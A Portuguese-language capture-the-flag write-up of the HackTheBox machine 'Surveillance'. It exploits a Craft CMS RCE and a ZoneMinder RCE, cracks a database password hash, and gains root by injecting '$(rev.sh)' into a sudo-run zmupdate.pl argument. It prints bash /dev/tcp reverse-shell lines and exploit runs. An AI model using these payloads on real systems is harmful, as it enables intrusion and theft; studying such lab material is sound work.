HackTheBox – Writeup Surveillance [Retired]

HackTheBox – Writeup Surveillance [Retired]

Hackthebox

Neste writeup iremos explorar uma máquina linux de nível medium chamada Surveillance que aborda as seguintes vulnerabilidades e técnicas de exploração:

CVE-2023-41892 – Remote Code Execution
Password Cracking com hashcat
CVE-2023-26035 – Unauthenticated RCE
Lack of Input Validation

Iremos iniciar realizando uma varredura em nosso alvo a procura de portas abertas através do nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# nmap -sV –open -Pn 10.129.45.83
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-11 19:11 EST
Nmap scan report for 10.129.45.83
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Com isso podemos notar que existem duas portas, a porta 22 do ssh e a 80 que esta rodando um nginx.

O nginx é um servidor web e proxy reverso, vamos acessar nosso alvo por um navegador.

Quando acessamos somos redirecionados para http://surveillance.htb, vamos adicionar em nosso /etc/hosts.

Com isso temos a seguinte págine web:

Se trata de um site de uma empresa de segurança e monitoramento que dispõe de câmeras, controle de acessos e etc.

Agora iremos em busca de endpoint e diretórios utilizando o gobuster:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://surveillance.htb/ -k
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://surveillance.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/12/11 19:12:59 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 200) [Size: 304]
/admin (Status: 302) [Size: 0] [> http://surveillance.htb/admin/login]
/css (Status: 301) [Size: 178] [> http://surveillance.htb/css/]
/fonts (Status: 301) [Size: 178] [> http://surveillance.htb/fonts/]
/images (Status: 301) [Size: 178] [> http://surveillance.htb/images/]
/img (Status: 301) [Size: 178] [> http://surveillance.htb/img/]
/index (Status: 200) [Size: 1]
/js (Status: 301) [Size: 178] [> http://surveillance.htb/js/]
/logout (Status: 302) [Size: 0] [> http://surveillance.htb/]
/p13 (Status: 200) [Size: 16230]
/p1 (Status: 200) [Size: 16230]
/p10 (Status: 200) [Size: 16230]
/p15 (Status: 200) [Size: 16230]
/p2 (Status: 200) [Size: 16230]
/p3 (Status: 200) [Size: 16230]
/p7 (Status: 200) [Size: 16230]
/p5 (Status: 200) [Size: 16230]
/wp-admin (Status: 418) [Size: 24409]
Progress: 20469 / 20470 (100.00%)
===============================================================

Aqui temos alguns endpoints interessantes, dentre eles temos o /admin. Aqui conseguimos identificar a CMS que o site foi criado, podemos constatar que se trata de um Craft CMS:

De acordo com o próprio site do Craft CMS, o Craft é um CMS flexível e fácil de usar para criar experiências digitais personalizadas na web e fora dela.

Buscando por vulnerabilidades encontramos a CVE-2023-41892 que é um Remote Code Execution.
Essa vulnerabilidade recebeu um score perfeito 10 de 10 no Common Vulnerability Scoring System (CVSS), é um Pre-Auth RCE que pode ser executado de forma totalmente remota.

Aqui temos uma proof-of-concept criada em python:

https://gist.github.com/to016/b796ca3275fa11b5ab9594b1522f7226

Com esta poc conseguimos acesso via shell com o usuário www-data:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# python3 CVE-2023-41892.py http://surveillance.htb/
[-] Get temporary folder and document root …
[-] Write payload to temporary file …
[-] Trigger imagick to write shell …
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Como temos um shell com poucos recursos, vamos abrir em outra aba o pwncat, que é um shell com diversas funções:

┌──(root㉿kali)-[/home/kali]
└─# pwncat-cs -lp 9001
[16:57:07] Welcome to pwncat 🐈! __main__.py:164

Agora vamos criar um arquivo chamado rev.sh em nosso alvo com o seguinte conteúdo e executar:

$ cat /tmp/rev.sh
sh -i 5<> /dev/tcp/10.10.14.229/9001 0<&5 1>&5 2>&5
$ bash /tmp/rev

Com isso temos nosso reserve shell no pwncat:

┌──(root㉿kali)-[/home/kali]
└─# pwncat-cs -lp 9001
[16:57:07] Welcome to pwncat 🐈! __main__.py:164
[17:00:52] received connection from 10.129.39.90:48380 bind.py:84
[17:00:57] 0.0.0.0:9001: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
[17:01:00] 10.129.39.90:48380: registered new host w/ db manager.py:957
(local) pwncat$
(remote) www-data@surveillance:/var/www/html/craft/web/cpresources$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Com acesso podemos realizar uma enumeração e visualizando os usuários:

(remote) www-data@surveillance:/var/www/html/craft$ grep -i bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash

Aqui temos três usuários: matthew, zoneminder e root.

Buscando arquivos sensíveis encontramos o arquivo .env, que como o nome sugere é um arquivo contendo variáveis e seus valores, que a aplicação utiliza:

(remote) www-data@surveillance:/var/www/html/craft$ cat .env
# Read about configuration, here:
# https://craftcms.com/docs/4.x/config/

# The application ID used to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=CraftCMS–070c5b0b-ee27-4e50-acdf-0436a93ca4c7

# The environment Craft is currently running in (dev, staging, production, etc.)
CRAFT_ENVIRONMENT=production

# The secure key Craft will use for hashing and encrypting data
CRAFT_SECURITY_KEY=2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_

# Database connection settings
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craftdb
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftCMSPassword2023!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=

# General settings (see config/general.php)
DEV_MODE=false
ALLOW_ADMIN_CHANGES=false
DISALLOW_ROBOTS=false

PRIMARY_SITE_URL=http://surveillance.htb/

Enumerando as portas abertas no host alvo notamos que existe um mysql na porta 3306 e outra aplicação na porta 8080, ambas rodando localmente:

(remote) www-data@surveillance:/var/www/html/craft$ netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 991/nginx: worker p
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN –
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN 991/nginx: worker p
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN –
tcp6 0 0 :::22 :::* LISTEN –
(remote) www-data@surveillance:/var/www/html/craft$

Com os dados que conseguimos podemos acessar o banco de dados:

(remote) wwwdata@surveillance:/var/www/html/craft$ mysql u craftuser h 127.0.0.1 P 3306 p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or g.
Your MariaDB connection id is 20621
Server version: 10.6.12MariaDB0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type ‘help;’ or h for help. Type c to clear the current input statement.

MariaDB [(none)]> show databases;
+——————–+
| Database |
+——————–+
| craftdb |
| information_schema |
+——————–+
2 rows in set (0.001 sec)

MariaDB [(none)]> use craftdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with A

Database changed
MariaDB [craftdb]> show tables;
+—————————-+
| Tables_in_craftdb |
+—————————-+
| addresses |
| announcements |
| assetindexdata |
| assetindexingsessions |
| assets |
| categories |
| categorygroups |
| categorygroups_sites |
| changedattributes |
| changedfields |
| content |
| craftidtokens |
| deprecationerrors |
| drafts |
| elements |
| elements_sites |
| entries |
| entrytypes |
| fieldgroups |
| fieldlayoutfields |
| fieldlayouts |
| fieldlayouttabs |
| fields |
| globalsets |
| gqlschemas |
| gqltokens |
| imagetransformindex |
| imagetransforms |
| info |
| matrixblocks |
| matrixblocks_owners |
| matrixblocktypes |
| migrations |
| plugins |
| projectconfig |
| queue |
| relations |
| resourcepaths |
| revisions |
| searchindex |
| sections |
| sections_sites |
| sequences |
| sessions |
| shunnedmessages |
| sitegroups |
| sites |
| structureelements |
| structures |
| systemmessages |
| taggroups |
| tags |
| tokens |
| usergroups |
| usergroups_users |
| userpermissions |
| userpermissions_usergroups |
| userpermissions_users |
| userpreferences |
| users |
| volumefolders |
| volumes |
| widgets |
+—————————-+
63 rows in set (0.001 sec)

MariaDB [craftdb]> desc users;
+—————————-+———————+——+—–+———+——-+
| Field | Type | Null | Key | Default | Extra |
+—————————-+———————+——+—–+———+——-+
| id | int(11) | NO | PRI | NULL | |
| photoId | int(11) | YES | MUL | NULL | |
| active | tinyint(1) | NO | MUL | 0 | |
| pending | tinyint(1) | NO | MUL | 0 | |
| locked | tinyint(1) | NO | MUL | 0 | |
| suspended | tinyint(1) | NO | MUL | 0 | |
| admin | tinyint(1) | NO | | 0 | |
| username | varchar(255) | YES | MUL | NULL | |
| fullName | varchar(255) | YES | | NULL | |
| firstName | varchar(255) | YES | | NULL | |
| lastName | varchar(255) | YES | | NULL | |
| email | varchar(255) | YES | MUL | NULL | |
| password | varchar(255) | YES | | NULL | |
| lastLoginDate | datetime | YES | | NULL | |
| lastLoginAttemptIp | varchar(45) | YES | | NULL | |
| invalidLoginWindowStart | datetime | YES | | NULL | |
| invalidLoginCount | tinyint(3) unsigned | YES | | NULL | |
| lastInvalidLoginDate | datetime | YES | | NULL | |
| lockoutDate | datetime | YES | | NULL | |
| hasDashboard | tinyint(1) | NO | | 0 | |
| verificationCode | varchar(255) | YES | MUL | NULL | |
| verificationCodeIssuedDate | datetime | YES | | NULL | |
| unverifiedEmail | varchar(255) | YES | | NULL | |
| passwordResetRequired | tinyint(1) | NO | | 0 | |
| lastPasswordChangeDate | datetime | YES | | NULL | |
| dateCreated | datetime | NO | | NULL | |
| dateUpdated | datetime | NO | | NULL | |
+—————————-+———————+——+—–+———+——-+
27 rows in set (0.001 sec)

MariaDB [craftdb]> select admin,username,email,password from users;
+——-+———-+————————+————————————————————–+
| admin | username | email | password |
+——-+———-+————————+————————————————————–+
| 1 | admin | admin@surveillance.htb | $2y$13$FoVGcLXXNe81B6x9bKry9OzGSSIYL7/ObcmQ0CXtgw.EpuNcx8tGe |
+——-+———-+————————+————————————————————–+
1 row in set (0.000 sec)

No entanto, não tivemos sucesso tentando quebrar a hash de usuário.

Continuando a enumeração localizamos um arquivo de backup do banco de dados:

(remote) www-data@surveillance:/var/www/html/craft/storage$ cd backups/
(remote) www-data@surveillance:/var/www/html/craft/storage/backups$ ls -alh
total 28K
drwxrwxr-x 2 www-data www-data 4.0K Oct 17 20:33 .
drwxr-xr-x 6 www-data www-data 4.0K Oct 11 20:12 ..
-rw-r–r– 1 root root 20K Oct 17 20:33 surveillance–2023-10-17-202801–v4.4.14.sql.zip
(remote) www-data@surveillance:/var/www/html/craft/storage/backups$ unzip surveillance–2023-10-17-202801–v4.4.14.sql.zip
Archive: surveillance–2023-10-17-202801–v4.4.14.sql.zip
inflating: surveillance–2023-10-17-202801–v4.4.14.sql
(remote) www-data@surveillance:/var/www/html/craft/storage/backups$ ls -alh
total 140K
drwxrwxr-x 2 www-data www-data 4.0K Dec 12 02:17 .
drwxr-xr-x 6 www-data www-data 4.0K Oct 11 20:12 ..
-rw-r–r– 1 www-data www-data 111K Oct 17 20:33 surveillance–2023-10-17-202801–v4.4.14.sql
-rw-r–r– 1 root root 20K Oct 17 20:33 surveillance–2023-10-17-202801–v4.4.14.sql.zip

E aqui temos outro tipo de hash para o usuário:

INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,‘admin’,‘Matthew B’,‘Matthew’,‘B’,‘admin@surveillance.htb’,’39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec’,‘2023-10-17 20:22:34’,NULL,NULL,NULL,‘2023-10-11 18:58:57’,NULL,1,NULL,NULL,NULL,0,‘2023-10-17 20:27:46’,‘2023-10-11 17:57:16’,‘2023-10-17 20:27:46’);

Esse tipo de hash é o SHA256 e aqui podemos utilizar o hashcat para quebrar a senha, utilizando o valor 1400 para o tipo de hash e especificando a wordlist rockyou.txt:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# hashcat -m 1400 matthew-hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344389
* Bytes…..: 139921546
* Keyspace..: 14344389

39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490

Session……….: hashcat
Status………..: Cracked
Hash.Mode……..: 1400 (SHA2-256)
Hash.Target……: 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c…5770ec
Time.Started…..: Mon Dec 11 21:32:28 2023 (2 secs)
Time.Estimated…: Mon Dec 11 21:32:30 2023 (0 secs)
Kernel.Feature…: Pure Kernel
Guess.Base…….: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue……: 1/1 (100.00%)
Speed.#1………: 1596.7 kH/s (0.13ms) @ Accel:256 Loops:1 Thr:1 Vec:16
Recovered……..: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress………: 3552256/14344389 (24.76%)
Rejected………: 0/3552256 (0.00%)
Restore.Point….: 3551232/14344389 (24.76%)
Restore.Sub.#1…: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1….: starfish789 -> starbowser
Hardware.Mon.#1..: Util: 42%

Started: Mon Dec 11 21:32:04 2023
Stopped: Mon Dec 11 21:32:31 2023

E aqui conseguimos a senha do usuário admin, que é o pertencente a Matthew B. Esse usuário existe no servidor como vimos em nossa enumeração inicial.
Via ssh conseguimos acesso com o usuário matthew!

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# ssh matthew@surveillance.htb
matthew@surveillance.htb‘s password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Tue Dec 12 02:34:21 AM UTC 2023

System load: 0.08935546875 Processes: 233
Usage of /: 85.1% of 5.91GB Users logged in: 0
Memory usage: 16% IPv4 address for eth0: 10.129.45.83
Swap usage: 0%

=> / is using 85.1% of 5.91GB

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Last login: Tue Dec 5 12:43:54 2023 from 10.10.14.40

E assim conseguimos a user flag.

matthew@surveillance:~$ ls -a
. .. .bash_history .bash_logout .bashrc .cache .profile user.txt
matthew@surveillance:~$ cat user.txt
b4ddc33ff47b1d8534c59a7609b48f13

Movimentação lateral

Agora que temos acesso ssh com o usuário matthew vamos novamente realizar uma enumeração em busca de uma forma de escalar privilégios para root.

Analisando novos arquivos em busca de dados sensíveis conseguimos os seguintes dados de acesso a outro banco de dados:

-rw-r–r– 1 root zoneminder 3503 Oct 17 11:32 /usr/share/zoneminder/www/api/app/Config/database.php
‘password’ => ZM_DB_PASS,
‘database’ => ZM_DB_NAME,
‘host’ => ‘localhost’,
‘password’ => ‘ZoneMinderPassword2023’,
‘database’ => ‘zm’,
$this->default[‘host’] = $array[0];
$this->default[‘host’] = ZM_DB_HOST;

Estes dados são pertencentes a uma aplicação chamada Zoneminder. O zoneminder é uma aplicação open source para monitoramento via circuito fechado de televisão, câmeras de segurança basicamente.
Um ponto interessante é que temos outro usuário chamado zoneminder e uma aplicação rodando na porta 8080

Buscando por vulnerabilidades conhecidas para o zoneminder encontramos a CVE-2023-26035

A CVE se trata de um Unauthorized Remote Code Execution. Na ação de realizar um snapshot não é validado se a requisição tem permissão para executar, que espera um ID busque um monitor existente, mas permite que seja passado um objeto para criar um novo. A função TriggerOn chamada um shell_exec usando o ID fornecido, gerando assim um RCE.

Para conseguimos executar precisamos criar um túnel para que a aplicação local consiga ser acessada de nossa máquina, para isso vamos utilizar o ssh:

┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# ssh -L 8081:127.0.0.1:8080 matthew@surveillance.htb
matthew@surveillance.htb‘s password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)

Iremos utilizar neste writeup esta POC.

Primeiramente iremos utilizar o pwncat para ouvir na porta 9002:

┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9002
[21:01:10] Welcome to pwncat 🐈! __main__.py:164

Com o repositório devidamente clonado em nossa máquina executaremos da seguinte forma:

┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance/CVE-2023-26035]
└─# python3 exploit.py -t http://127.0.0.1:8081 -ip 10.10.14.174 -p 9002
[>] fetching csrt token
[>] recieved the token: key:f3dbd44dfe36d9bf315bcf7b9ad29a97463a4bb7,1702432913
[>] executing…
[>] sending payload..
[!] failed to send payload

Mesmo com a mensagem de falha no envio do payload temos o seguinte retorno em nosso pwncat:

┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9002
[21:01:10] Welcome to pwncat 🐈! __main__.py:164
[21:01:55] received connection from 10.129.44.183:43356 bind.py:84
[21:02:04] 10.129.44.183:43356: registered new host w/ db manager.py:957
(local) pwncat$
(remote) zoneminder@surveillance:/usr/share/zoneminder/www$ ls -lah /home/zoneminder/
total 20K
drwxr-x— 2 zoneminder zoneminder 4.0K Nov 9 12:46 .
drwxr-xr-x 4 root root 4.0K Oct 17 11:20 ..
lrwxrwxrwx 1 root root 9 Nov 9 12:46 .bash_history -> /dev/null
-rw-r–r– 1 zoneminder zoneminder 220 Oct 17 11:20 .bash_logout
-rw-r–r– 1 zoneminder zoneminder 3.7K Oct 17 11:20 .bashrc
-rw-r–r– 1 zoneminder zoneminder 807 Oct 17 11:20 .profile

Conseguindo assim shell como o usuário zoneminder. Mais uma vez iremos realizar uma enumeração.

Através do comando sudo conseguimos visualizar um comando que o usuário zoneminder consegue executar com permissões de root:

(remote) zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty

User zoneminder may run the following commands on surveillance:
(ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *

O usuário pode executar qualquer script que esteja no diretório /usr/bin que inicie seu nome com zm e finalize com a extensão .pl que é referente a linguagem perl. Também podemos passar paramêtros.

Aqui estão todos os scripts que conseguimos executar como usuário root:

(remote) zoneminder@surveillance:/home/zoneminder$ ls -alh /usr/bin/zm*.pl
-rwxr-xr-x 1 root root 43K Nov 23 2022 /usr/bin/zmaudit.pl
-rwxr-xr-x 1 root root 13K Nov 23 2022 /usr/bin/zmcamtool.pl
-rwxr-xr-x 1 root root 6.0K Nov 23 2022 /usr/bin/zmcontrol.pl
-rwxr-xr-x 1 root root 26K Nov 23 2022 /usr/bin/zmdc.pl
-rwxr-xr-x 1 root root 35K Nov 23 2022 /usr/bin/zmfilter.pl
-rwxr-xr-x 1 root root 5.6K Nov 23 2022 /usr/bin/zmonvif-probe.pl
-rwxr-xr-x 1 root root 19K Nov 23 2022 /usr/bin/zmonvif-trigger.pl
-rwxr-xr-x 1 root root 14K Nov 23 2022 /usr/bin/zmpkg.pl
-rwxr-xr-x 1 root root 18K Nov 23 2022 /usr/bin/zmrecover.pl
-rwxr-xr-x 1 root root 4.8K Nov 23 2022 /usr/bin/zmstats.pl
-rwxr-xr-x 1 root root 2.1K Nov 23 2022 /usr/bin/zmsystemctl.pl
-rwxr-xr-x 1 root root 13K Nov 23 2022 /usr/bin/zmtelemetry.pl
-rwxr-xr-x 1 root root 5.3K Nov 23 2022 /usr/bin/zmtrack.pl
-rwxr-xr-x 1 root root 19K Nov 23 2022 /usr/bin/zmtrigger.pl
-rwxr-xr-x 1 root root 45K Nov 23 2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root 8.1K Nov 23 2022 /usr/bin/zmvideo.pl
-rwxr-xr-x 1 root root 6.9K Nov 23 2022 /usr/bin/zmwatch.pl
-rwxr-xr-x 1 root root 20K Nov 23 2022 /usr/bin/zmx10.pl

Foi necessário descobrir o que cada script faz, no entanto, fica mais simples quando olhamos esta documentação.

O foco foi tentar explorar scripts que podemos inserir dados, ou seja, scripts que aceitem parâmetros do usuário.

Outro ponto importante é que se for inserido o payload e ele for executado no inicialmente o mesmo será feito como usuário zoneminder.

Precisamos que nosso payload seja carregado e executado posteriormente, de forma que seja executado pelo usuário root.

Dentre os scripts nos temos o zmupdate.pl que é responsável por checar se existem updates para o ZoneMinder e ira executar migrations de atualização. No entanto o mesmo realiza um backup do banco utilizando o mysqldump, comando esse que recebe input do usuário (usuário e senha) e executa comor root.

Inicialmente vamos criar um arquivo chamado rev.sh com o seguinte conteúdo:

#!/bin/bash
sh -i 5<> /dev/tcp/10.10.14.229/9001 0<&5 1>&5 2>&5

E localmente em nossa máquina vamos utilizar o pwncat para ouvir na porta 9001:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9001
[17:14:01] Welcome to pwncat 🐈! __main__.py:164

Agora iremos inserir no input do script o comando ‘$(/home/zoneminder/rev.sh)’ que será salvo como variável exatamente da forma como esta, sem executar, devido as aspas simples que faz com que os caracteres especiais sejas lidos literalmente.

Executaremos da seguinte forma:

(remote) zoneminder@surveillance:/home/zoneminder$ sudo /usr/bin/zmupdate.pl –version=1 –user=‘$(/home/zoneminder/rev.sh)’ –pass=ZoneMinderPassword2023

Initiating database upgrade to version 1.36.32 from version 1

WARNING – You have specified an upgrade from version 1 but the database version found is 1.26.0. Is this correct?
Press enter to continue or ctrl-C to abort :

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press ‘y’ for a backup or ‘n’ to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.

A senha do banco é a mesma que conseguimos anteriormente. E assim temos o seguinte retorno em nosso pwncat:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9001
[17:14:01] Welcome to pwncat 🐈! __main__.py:164
[17:18:06] received connection from 10.129.42.193:39340 bind.py:84
[17:18:10] 0.0.0.0:9001: normalizing shell path manager.py:957
[17:18:12] 0.0.0.0:9001: upgrading from /usr/bin/dash to /bin/bash manager.py:957
[17:18:14] 10.129.42.193:39340: registered new host w/ db manager.py:957
(local) pwncat$
(remote) root@surveillance:/home/zoneminder# id
uid=0(root) gid=0(root) groups=0(root)

Conseguimos shell como root! Podemos buscar a root flag!

(remote) root@surveillance:/home/zoneminder# ls -a /root
. .. .bash_history .bashrc .cache .config .local .mysql_history .profile root.txt .scripts .ssh
(remote) root@surveillance:/home/zoneminder# cat /root/root.txt
4e69a27f8fc2279a0a149909c8ff2af4

Um ponto interessante agora que estamos como usuário root e visualizar nos processos como foi executado o comando de mysqldump:

(remote) root@surveillance:/home/zoneminder# ps aux | grep mysqldump
root 3035 0.0 0.0 2888 1064 pts/3 S+ 22:18 0:00 sh -c mysqldump -u$(/home/zoneminder/rev.sh) -p‘ZoneMinderPassword2023’ -hlocalhost –add-drop-table –databases zm > /tmp/zm/zm-1.dump

Como planejamos o valor foi mantido inicialmente, somente na segunda execução que interpretou o caracter especial executando o comando.

E assim finalizamos a máquina Surveillence!